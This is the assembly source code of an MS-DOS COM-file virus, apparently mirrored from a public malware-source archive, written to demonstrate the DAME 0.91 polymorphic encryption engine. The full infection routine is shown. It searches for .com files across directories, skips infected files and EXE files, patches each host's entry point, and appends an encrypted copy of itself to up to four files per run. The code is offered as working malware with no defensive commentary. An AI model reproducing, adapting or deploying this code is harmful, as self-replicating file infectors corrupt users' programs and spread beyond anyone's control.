mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
187 lines
4.0 KiB
NASM
187 lines
4.0 KiB
NASM
.code
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.radix 16
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org 100
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start: jmp temp ; The next two lines will be patched in
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; cld ; DAME may have altered DF
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; mov bx,ds
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call calc_off
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old4 dw 20cdh, 0
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fmask db '*.com',0
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dmask db '..',0
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db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
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db 'To demonstrate DAME 0.91',0Dh,0A,1a
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vars = 0
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include dame.asm ; include the code portion of DAME
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calc_off:
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pop si
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mov ax,si
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mov cl,4
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shr ax,cl
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sub ax,10
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add ax,bx
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mov bx,offset enter_vir
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push ax bx
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retf
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enter_vir:
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mov di,100
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push es di es es
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movsw
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movsw
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enter_vir0:
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push cs cs
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pop es ds
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mov ah,1a
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mov dx,offset new_dta ; set new DTA
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int 21
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mov ah,47
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cwd
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mov si,offset old_path+1
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mov byte ptr [si-1],'\'
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int 21
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mov inf_cnt,4
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call rnd_init_seed
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inf_dir:mov ah,4e
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mov dx,offset fmask
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fnext: int 21
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jnc inf_file
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mov ah,3bh
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mov dx,offset dmask
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int 21
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jnc inf_dir
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done_all:
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mov ah,3bh
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mov dx,offset old_path
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int 21
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pop es ds ; restore the DTA
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mov dx,80
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mov ah,1a
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int 21
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retf ; return to carrier
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inf_file:
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mov ax,3d00
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mov dx,offset new_dta + 1e
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int 21
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jc _fnext
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xchg ax,bx
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mov ah,3f
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mov cx,4
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mov dx,offset old4
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int 21
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mov ah,3e
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int 21
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cmp old4,0e9fc
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jz _fnext
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add al,ah
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cmp al,'Z'+'M'
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jz _fnext
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call infect
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dec inf_cnt
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jz done_all
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_fnext:
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mov ah,4f
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jmp short fnext
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infect: mov ax,3d00
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mov dx,offset new_dta + 1e
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int 21
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push ax
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xchg ax,bx
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mov ax,1220
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int 2f
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mov ax,1216
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mov bl,es:di
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mov bh,0
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int 2f
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pop bx
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mov word ptr es:[di+2],2
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mov ax,es:[di+11]
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mov bp,ax
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mov cx,4
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sub ax,cx
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mov patch,ax
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mov ah,40
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mov dx,offset oFCE9
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int 21
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mov word ptr es:[di+15],bp
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push es di cs
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pop es
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mov si,100
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mov di,offset copyvirus
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mov cx,(heap - start + 1)/2
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rep movsw
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mov ax,0000000000001011b
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mov dx,offset copyvirus
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mov cx,heap - start
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mov si,offset _decryptbuffer
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mov di,offset _encryptbuffer
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push dx bx si
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mov bx,bp
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inc bh
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call dame
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mov ah,40
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pop dx bx
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int 21
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mov ah,40
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mov cx,heap - start
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pop dx
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int 21
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pop di es
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or byte ptr es:[di+6],40
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mov ah,3e
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int 21
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retn
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oFCE9 dw 0e9fc
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heap:
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patch dw ?
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inf_cnt db ?
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vars = 1
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include dame.asm ; include the heap portion of DAME
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old_path db 41 dup (?)
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new_dta db 2c dup (?)
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_encryptbuffer: db 80 dup (?)
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_decryptbuffer: db 1a0 dup (?)
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copyvirus db heap - start + 20 dup (?)
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temp: mov byte ptr ds:[100],0fc
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mov word ptr ds:[101],0db8c
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xor di,di
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push cs di cs cs
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jmp enter_vir0
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end start
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--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
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